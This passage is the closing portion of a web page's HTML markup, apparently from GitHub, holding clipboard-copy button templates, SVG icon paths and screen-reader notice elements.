js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path> </svg> </clipboard-copy> </div> </template> <template id="snippet-clipboard-copy-button-unpositioned"> <div class="zeroclipboard-container"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn btn-invisible js-clipboard-copy m-2 p-0 d-flex flex-justify-center flex-items-center" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path> </svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path> </svg> </clipboard-copy> </div> </template> </div> <div id="js-global-screen-reader-notice" class="sr-only mt-n1" aria-live="polite" aria-atomic="true" ></div> <div id="js-global-screen-reader-notice-assertive" class="sr-only mt-n1" aria-live="assertive" aria-atomic="true"></div> </body> </html>